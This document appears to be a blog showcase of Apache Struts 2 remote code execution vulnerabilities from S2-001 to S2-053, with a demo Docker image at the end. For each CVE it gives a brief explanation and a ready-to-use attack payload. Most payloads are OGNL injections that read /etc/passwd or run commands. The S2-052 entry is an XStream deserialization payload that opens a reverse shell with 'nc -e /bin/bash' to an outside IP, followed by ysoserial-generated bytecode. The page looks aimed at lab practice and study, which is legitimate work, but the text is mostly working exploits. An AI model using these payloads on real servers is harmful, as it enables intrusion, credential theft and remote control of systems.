Showcase: Struts2 vulnerability evolution

Apache Struts 2 is used as framework for Java EE applications development. During time there were found multiple Remote Code Execution (RCE) vulnerabilities and some of them I will show below.
S2-001 (CVE-2007-4556)
S2-007 (CVE-2012-0838)
S2-008 (CVE-2012-0392)
S2-012 (CVE-2013-1965)
S2-013 (CVE-2013-1966)
S2-015 (CVE-2013-2135, CVE-2013-2134)
S2-016 (CVE-2013-2251)
S2-019 (CVE-2013-4316)
S2-029 (CVE-2016-0785)
S2-032 (CVE-2016-3081)
S2-033 (CVE-2016-3087)
S2-037 (CVE-2016-4438)
S2-045 (CVE-2017-5638)
S2-046 (CVE-2017-5638)
S2-048 (CVE-2017-9791)
S2-052 (CVE-2017-9805)
S2-053 (CVE-2017-12611)

S2-001

CVE: CVE-2007-4556
Affected versions: 2.0.0 - 2.0.8

The issue is related to recursive OGNL expression processing. If we will send OGNL expression in parameter value, e.g. %{2+2}, and form validation fails, re-generated form will contain %{%{2+2}} value, which will be recursively evaluated to 4 value.

Payload example

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Demo video

S2-007

CVE: CVE-2012-0838
Affected versions: 2.0.0 - 2.2.3

Works similar way to S2-001, but now we try to inject OGNL query to variable without any recursion.

Payload example

1' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream())) + '

Demo video

S2-008

CVE: CVE-2012-0392
Affected versions: 2.1.0 - 2.3.1

This vulnerability involves several security issues:

• ExceptionDelegator: when an exception occurs parameter value is evaluated as OGNL expression, e.g. set a string value to an integer property
• CookieInterceptor: it does not use parameters name white-listing, e.g. it is possible to set allowStaticMethodAccess to true
• ParameterInterceptor: allows to access public constructors with String-type parameter
• DebuggingInterceptor: allows RCE

Payload example

debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3Dtrue%2C%23foo%3Dnew java.lang.Boolean("false") %2C%23context["xwork.MethodAccessor.denyMethodExecution"]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream()))

Demo video

S2-012

CVE: CVE-2013-1965
Affected versions: 2.0.0 - 2.3.13

If redirect address receives unsanitized String parameter, it is processed as OGNL expression.

Payload example

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Demo video

S2-013

CVE: CVE-2013-1966
Affected versions: 2.0.0 - 2.3.14

If URL or a tag receives parameters, it tries to resolve them and parameters are processed as OGNL expression.

Payload example

a=${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println('dbapp='+new java.lang.String(#d)),#out.close()}

Demo video

S2-015

CVE: CVE-2013-2134, CVE-2013-2135
Affected versions: 2.0.0 - 2.3.14.2

This vulnerability combines two issues:

• requested action name white-listing is not used
• if TextParseUtil.translateVariables starts with $ and % characters combination, parameter value is processed as OGNL expression

For example in this code {1} will be evaluated as OGNL expression

<action name="*" class="example.ExampleSupport">
    <result>/example/{1}.jsp</result>
</action>

Payload example

${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action

Demo video

S2-016

CVE: CVE-2013-2251
Affected versions: 2.0.0 - 2.3.15

Issue in DefaultActionMapper allows to process string following action:, redirect: or redirectAction: as OGNL expression

Payload example

default.action?redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

Demo video

S2-019

CVE: CVE-2013-4316
Affected versions: 2.0.0 - 2.3.15.1

struts.enable.DynamicMethodInvocation was set to true by default, which caused security issues. That's why expression= value is processed as OGNL expression if it is following debug=command.

Payload example

debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()

Demo video

S2-029

CVE: CVE-2016-0785
Affected versions: 2.0.0 - 2.3.24.1 (except 2.3.20.3)

Some values were evaluated twice, while rendering tag's attributes and they may be processed as OGNL expressions.

Payload example

(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

Demo video

S2-032

CVE: CVE-2016-3081
Affected versions: 2.3.20 - 2.3.28 (except 2.3.20.3 and 2.3.24.3)

If struts.apache.DynamicMethodInvocation is set to true, value behind method: is processed like OGNL expression.

Payload example

method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=id

Demo video

S2-033

CVE: CVE-2016-3087
Affected versions: 2.3.20 - 2.3.28 (except 2.3.20.3 and 2.3.24.3)

Works similar way to S2-032 and also requires struts.apache.DynamicMethodInvocation to be enabled, but this time it is related to REST-plugin. Due to parsing issues in RestActionMapper class, parameter value is processed as OGNL expression.

Payload example

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#xx=123,#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id

Demo video

S2-037

CVE: CVE-2016-4438
Affected versions: 2.3.20 - 2.3.28.1

This vulnerability is quite the same as S2-033, also depends on REST-plugin, but it doesn't require enabled struts.apache.DynamicMethodInvocation.

Payload example

(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#wr=#context[#parameters.obj[0]].getWriter(),#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr.println(#rs),#wr.flush(),#wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=id

Demo video

S2-045

CVE: CVE-2017-5638
Affected versions: 2.3.5 - 2.3.31, 2.5 - 2.5.10

If Content-Type header contains invalida data an exception occurs and its value is considered as OGNL expression.

Payload example

Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ping -c3 172.16.8.1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Demo video

S2-046

CVE: CVE-2017-5638
Affected versions: 2.3.5 - 2.3.31, 2.5 - 2.5.10

When Content-Length value is invalid, Content-Disposition value will be process as OGNL expression.

Payload example

Content-Length: 1000000000
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"

Demo video

S2-048

CVE: CVE-2017-9791
Affected versions: 2.3.x with Struts 1 plugin and Struts 1 action

If parameter is sent to ActionMessage class without proper validation, it parameter is displayed with getText function and processed as OGNL expression. In showcase application there is vulnerability in org.apache.struts2.showcase .integration.SaveGangsterAction class.

Payload example

name=%25{(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context['com.opensymphony.xwork2.ActionContext.container']).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3d%23parameters.cmd[0]).(%23iswin%3d(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3d(%23iswin%3f{'cmd.exe','/c',%23cmd}%3a{'/bin/bash','-c',%23cmd})).(%23p%3dnew+java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3d%23p.start()).(%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream(),%23ros)).(%23ros.flush())}&cmd=ls -

Demo video

S2-052

CVE: CVE-2017-9805
Affected versions: 2.1.2 - 2.3.33, 2.5 - 2.5.12

Unlike the previous vulnerabilities, this one is not related to OGNL expression evaluations. It is caused by unsafe deserialization in XStreamHandler class of REST-plugin.
To generate base64 payload was used ysoserial with small changes to show output in XML-format. You can download it here

Payload examples

ProcessBuilder class

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>nc</string>
			<string>-e</string>
                        <string>/bin/bash</string>
                        <string>172.16.8.1</string>
                        <string>4444</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>asdasd</name>
                  </filter>
                  <next class="string">asdasd</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

Base64-encoded payload

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom">
                      <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                        <default>
                          <__name>Pwnr</__name>
                          <__bytecodes>
                            <byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
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bGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5
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AQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0A
AAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0A
AAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAa
AAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMgAA
AAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAiAAMA
AgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ
</byte-array>
                            <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
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AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA
AAoAAQACABYAEAAJ</byte-array>
                          </__bytecodes>
                          <__transletIndex>-1</__transletIndex>
                          <__indentNumber>0</__indentNumber>
                        </default>
                        <boolean>false</boolean>
                      </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                      <name>newTransformer</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

Demo video

S2-053

CVE: CVE-2017-12611
Affected versions: 2.0.1 - 2.3.33, 2.5 - 2.5.10

This vulnerability is relater not to Struts framework itself, but to FreeMarker Template Language. It is popular template language, which allows to bind request parameters values to the application inner declared variables. These variables are processed like OGNL expression.

Payload example

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

Demo video

Demo stand deployment

I have prepared docker image with listed vulnerabilities. It should be deployed this way:

docker pull 2d8ru/struts2
docker run --name struts2 -p80:8080 -d 2d8ru/struts2

Reference

Links

VulnApps Github page
ysoserial Github page